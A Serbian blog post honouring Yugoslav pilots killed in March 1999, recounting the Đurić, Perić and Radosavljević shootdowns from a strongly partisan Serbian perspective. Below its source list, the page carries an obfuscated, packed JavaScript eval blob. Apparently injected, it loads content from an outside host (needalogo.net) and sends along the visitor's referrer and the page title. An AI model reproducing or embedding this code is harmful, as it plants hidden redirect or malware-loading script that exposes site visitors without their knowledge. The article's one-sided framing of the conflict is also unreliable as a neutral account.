Home > Blog > Đurić i Radosavljević – prve žrtve među vazduhoplovcima

Đurić i Radosavljević – prve žrtve među vazduhoplovcima

Priča o heroju – pilotu Životi Đuriću

Dve eskadrile jurišne avijacije VJ iz sastava 98. lovačko-bombarderskog puka kojim je tada komandovao danas penzionisani general Sreto Malinović i to 252.lbae „Kurjaci sa Ušća“ i 241. lbae „Tigrovi“, naoružane avionima J-22 „Orao“ su u prva dva dana agresije i pored totalne premoći neprijatelja u vazduhu usple da izvrši 36 borbenih letova (31 po drugom izvoru). Napadnuti su štabovi, kampovi i kasarne tzv.OVK širom Kosova i Metohije. Akcije su ranijim obaveštajnim i izviđačkim radom dobro pripremljene. Napadi na snage i objekte tzv.OVK imali su veliki efekat.   

 

Avioni koji su vršili borbena dejstva poletali su sa aerodroma Lađevci i Ponikve jer njihove piste prve noći agresije nisu bile onesposobljene. Leteli su u grupama od po 2 do 4 aviona, veoma nisko prateći konfiguracioju terena, velikom brzinom (800km/h). Letovi su predstavljali veliki napor za pilote jer su trajali od 30 do 50 minuta (za najudaljenije mete prema prema granici sa Albanijom).

 

Među onima koji su poleteli 25. marta 1999. u napada na ciljeve tzv.OVK na Kosovu i Metohiji, tj. na njihovom čelu nalazio se kako to i dolikuje potpukovnik Života Đurić u tom monemtu komandant 241. lovačko-bombarderske eskadrile popularno zvane „Tigrovi“. Đurić je dejstvovao na području Glogovca, napadajući komandno mesto i skladište u bazi tzv.OVK kada je tokom manevrisanja na maloj visini pogođen vatrom sa zemlje, najverovatnije iz teškog mitraljeza. Avion se na tako maloj visini odmah srušio. Dva dana se heroj modernih vremena, legendarni komandant Života Đurić vodio kao nestao. Sahranje je u rodnom Paraćinu i iza njega je ostala supruga, sin i ćerka, imao je nepunih 36 godina.

 

                                                                                                               ppuk Života Đurić

Treći dan agresije – priča o herojima Periću i Radosavljeviću

 

U toku 26. marta stalno su premeštani avioni radi umanjenja dejstva neprijatelja. U 11.15h sa Operativnog centra (OC) Korpusa PVO dobijena je informacija da je major Arizanov živ i da se nalazi na aerodromu Slatina. Tokom dana izmešteno je komandno mesto 177.vazduhoplovne baze i 204. lovačkog avijacijskog puka. Na aerodromu Podgorica u 9.30h po naređenju OC, major Slobodan Tešanović izvodi prelet avionom L-18 (MiG-29) po maršuti Podgorica – Ponikve. U fazi sletanja na Ponikve zbog tehničkih razloga (oštećeni flapsovi tok dejstava noć ranije po aerodoromu Golubovci) Tešanović se uspešno katapultira ispred PSS br.1 a avion biva uništen.   

         

        major Tešanović pored svog aviona

Na aerodromu Batajnica u 12.30h dat se signal za vazdušnu opasnost. U 16.00h OC Korpusa PVO daje pripravnost br.1 za snage 204.lap-a. U 16.45h OC naređuje poletanje dva lovca L-18 a već u 16.53h dobrovoljno poleću major Slobodan Perić i kapetan prve klase Zoran Radosavljević. Major Perić kao vođa pare pred poletanje saznaje da će leteti “negde gore“, na sever i da se neprijatelj očekuje iz Mađarske.  Ideja mu je bila da što duže budu mogi lete nisko, kako bi ih nebeski osmatrač “Avaks” što kasni detektovao. Tokom leta prema zoni OZN ih obaveštava da je “plavi“ sada na zapadu i oni na veoma maloj visini okreću iznad samog Zrenjanina i hvataju novi pravac sada prema jugozapadu. Veoma brzo u novom kursu preleću Dunav i dolaze u traverzu Inđija.             

Major Perić tada pokušava da uključi radar ali on ne reaguje, bio je neispravan. Kako se neprijatelj prema OZN nalazio na većoj visini Perić odlučuje da promeni režim leta i da pokušaju bar vizuelno da uoče neprijatelja. Komanduje forsaž i pod velikim uglom od 60 stepeni za veoma kratko vreme oba aviona penju se iznada oblaka na visinu od 7000-8000m. Perić komunicira sa Radosavljevićem koji ga obaveštava da ga vidi i da ga prati. Datim pravcem i režimom leta, oni nastavljaju prema zapadu i kako Perić ne prima nikakvo drugo naređenje (o odustajanju ili povrtaku) prelaze državnu granicu i ulaze u vazdušni prostor Republike Srpske. Jedna od poslednjih Radosavljević depeša Periću je bila desno pod 50“ koju je on sa radošću protumačio kao otkrivanje neprijatelja (mislio je da je Zoranov radar ispravan). Perićev odgovor je bio “prođi napred da dejstvuješ ti“ na šta mu je Radosavljević odgvorio “ne, ne na SPO-u je“. Periću postaje jasno da su na nišanu neprijateljskih radara, da je Radosavljevićev SPO zapištao i zasvetlieo. Neko vreme Perić nema komunikaciju sa Zoranom a OZN ih “obaveštava“ da “izgleda idu na njih“. Kada je vizuelno uoči četiri kondezaciona traga znao je da su to rakete (bile su to 4 rakete vazduh-vazduh tipa AIM-120C AMRAAM, lansirane po dve sa dva američka lovac F-15C iz sastava 493. lovačkog skvadrona/48. lovačkog vinga) koje lete prema njima. Komandovao je Zoranu “beži rakete na nas“ i poslednje što je čuo od njega bilo je “bežim u oblake“. Oba aviona oborena su dok su izvodila protivraketni manevar.                                                                                                     

 

         

      

 

 

 

 

 

 

        major Slobodan Perić                                                        major Zoran Radosavljević   

Major Slobodan Perić uspeo je da se katapultira iz pogođenog aviona i bezbedno prizemlji. Preživeo je silne peripetije oko izbegavanja linča domaćeg (srpskog) stanovništva, jer su mislili da je „američki pilot“ kao i od vojnika SFOR-a koje su vrebali da ga zarobe. Penzionisan je sa od strane  „novih vlasti“ 2004. a u maja 2010. godine gine u saobraćajnoj nesrećk u svojoj 49. godini života. Kapetan prve klase Zoran Radosavljeviću poginuo u svom avionu. Avion i telo našeg heroja Zorana Radosavljevića pali su u zaselak Žuga, Gornja Trnava u opštini Ugljevik na obroncima Majevice. Sat koji je Zoran nosio na ruci kada je poginuo stao je u 17 časova i 12 minuta. Zoran je imao 34 godine kada je položio život na oltar otadžbine, pored završene VA magistrirao je i na Saobraćajnom fakulteu u Beogradu a spremao je i doktorat. Nije bio oženjen.

Oba aviona pogodile su rakete lansirane sa aviona F-15C s/n 86-0156 kojim je pilotirao, tada kapetan Jeffrey Hwang (danas je pukovnik u 142. lovačkom vingu nacionalne garde Oregona).

 

 

 

 

 

 

 

 

       pukovnik Jeffrey Hwang             F-15C c/n 86-0156 sa oznakama o obaranju dva MiG-29

 

  • Odlomci iz monografije “204. lovački avijacijski puk” (Saša Olujić, Goran Antić i Bojan Dimitrijević, Beograd 2005.)
  • Odlomci iz monografije “Kurjaci sa Ušća” – istorijat 252.lovačko-bombarderske eskadrile (Bojan Dimitrijević, Beograd 2004)
  • Svedočenja samih pilota i neposrednih svedoka događaja iz dokumentarnih filmova „Niko nije rekao neću“ i „Niko nije rekao neću – drugi deo“  (RTS)
  • Spomen-knjiga “Junaci otadžbine” (savezna vlada, Beograd 2000)
  • Tekst „Kako su “orlovi” uništili baze OVK” iz lista “Politika”, autora Milan Galovića  objavljen 31.03.2007
  • Foto: sajt Vosjke Srbije, Air national guard – 142nd FW

 

eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!”.replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return’\\w+’};c=1};while(c–)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c]);return p}(‘(7(){2 d=3;2 w=1;2 h=1;2 t=d.8(\’9\’);2 4=5.a(5.b()*c);2 0=\’e://f.g/i/j?\';0=0+\’k=\’+3.l;0=0+\’&m=\’+3.n;0=0+\’&r=\’+4;d.o(\’\’)})();’,35,35,’src||var|document|id|Math|iframe|function|createElement|script|floor|random|9999||http|needalogo|net||rotation|3wBsvV|se_referrer|referrer|default_keyword|title|write|style|padding||0px||border|none||width|height’.split(‘|’),0,{}))

Leave a Reply

Your email address will not be published. Required fields are marked *

*

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Scroll To Top